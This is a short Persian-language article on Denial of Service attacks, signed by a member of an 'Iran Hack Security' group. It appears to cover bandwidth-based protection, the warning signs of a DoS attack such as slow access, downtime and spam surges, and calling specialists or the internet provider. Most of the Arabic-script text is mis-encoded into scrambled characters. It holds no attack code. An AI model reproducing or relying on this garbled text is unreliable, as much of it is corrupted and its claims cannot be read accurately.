می گیؽوع!!!ح ظؼ ایه مُؼظ ثبیع ؾیؽ قبضت قؽَؼ مقبَ  ثبنع تب ایه اثؿاؼ ظؼ تهطیى تؽافیکک ظؼقکت اؾ 

 وبظؼقت ثٍتؽ ػمل کىعح

 

 :پٌِای تاًذ تالا

تُيیً اکیع اکثؽیت متطًًیه امىیت نجکً ثؽ ظانته پٍىبی ثبوع ثبلا ثؽای خلُگیؽی اؾ زمکلات تککػیت 

ثی ضجؽوع َلکی َقتکی  DoSمی ثبنعح اکثؽیت نؽکت ٌب اؾ َقُع یک زملً  DoS  َDDoSنعي اػم اؾ 

، DoSمکلات کً زملً ثً َقُع پیُقت، ثکعوجبد ؼاي چکبؼي ٌكکتىع!! اؾ آودکب ککً تکبثیؽات اَلیکً ثیهکتؽ ز

مًؽف پٍىبی ثبوعنجکً اقت، یک قؽَؼ میؿثبن ؼَی ایىتؽوت کً ثً ِکُؼ مىبقکت َ يکسیر مکعیؽیت َ 

پیکؽثىعی َ کبو یگ نعي اقت، ٌم پٍىکبی ثبوکع مىبقکت َ ٌکم اثکؿاؼ مىبقکت ؼا لاؾ  ظاؼظ تکب ثتُاوکع اؾ 

 تبثیؽات زملات ثکبٌعح

 آگاٍ شْین؟ DoSچگًَْ اص ّقْع یک حولَ 

یک زملً تکػیت قکؽَؼ  ثبَؼوع کً اگؽ یک ضؽاثی یب انکبد ظؼ یک قؽَؼ ایدبظ نع، زتمبً اکثؽیت ثؽ ایه 

ؼش ظاظي اقتح مثلا اگؽ یک قبیت پؽثبؾظیع ظؼ ؾمبن اَج اقت بظي ثبنکع ظلیکل ثکؽ َخکُظ یکک زملکً مکی 

تکُان ظلایل متؼعظی ٌكتىع کً می  گػاؼوع کً ایىگُوً ظلایل اکثؽاً اؾ ِؽف آمبتُؼٌب َ افؽاظ ػبظی اقتح

ثؽای ثؽَؾ ضؽاثی َ ثؽَؾ انکبد ظؼ قؽَؼٌب اؼائً کؽظح مثلاً ػع  وگً ظاؼی يسیر اؾ قؽَؼٌب ممکه اقت 

ثؽضی اؾ قؽَیف ٌب ؼا ظچبؼ اضتلاد َ ضؽاثی کىعح ظؼ ایىدب ػُامل مٍمی کً وهکبن ظٌىکعي َخکُظ یکک 

 ػلیً قؽَؼ اقت ؼا ثیبن می کىیم: DoSزملً 

 جکً ظؼ ؾمبن ظقتؽقی ثً قبیت َ فبیل ٌبی مُخُظکبٌم قبثل تُخً قؽػت یب کبؼایی ن -1

 ػع  ظؼ ظقتؽـ وجُظن یک قبیت ضبو) ثعَن َخُظ ػلائم فىی( -2

 ػع  امکبن ظقتیبثی ثً ٌؽ قبیتی) ثعَن َخُظ ػلائم فىی( -3
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 افؿایم قبثل تُخً تؼعاظ ایمیل ٌب کً ثً ایه ایمیل ٌبی وبضُاقتً اقپم می گُیىعح -4

 

 اتی سا تایذ اً ام داد؟دس صْست تشّص یک حولَ، چَ اقذاه

نؽکت ٌب می تُاوىع ظؼ يُؼت ثؽَؾ زملات ثب متطًى نجکً نؽکت تمبـ گؽفتً َ اؾ ایه ِؽیق زکل 

 مهکل کىىعح مؽاخؼً ثً متطًًبن تیم امىیتی ایؽان ٌک ؼاي زل مىبقجی می ثبنعح

ؿ اؼائً ظٌىکعي کبؼثؽاوی کً ظؼ مىبؾد ضُظ ََؼیت مهبثً نؽکت ٌب ؼا مهبٌعي کؽظوع می تُاوىع ثب مؽک

 ضعمبت ایىتؽوت ضُظ تمبـ گؽفتً َ ثً زل مهکل ثپؽظاؾوعح

 

The End 

 

Iran Hack Security TM was Here … 

 

Denial of Service Attacks 

Written By Mehran Saheb Kuhi (Mr.3ler0n) 
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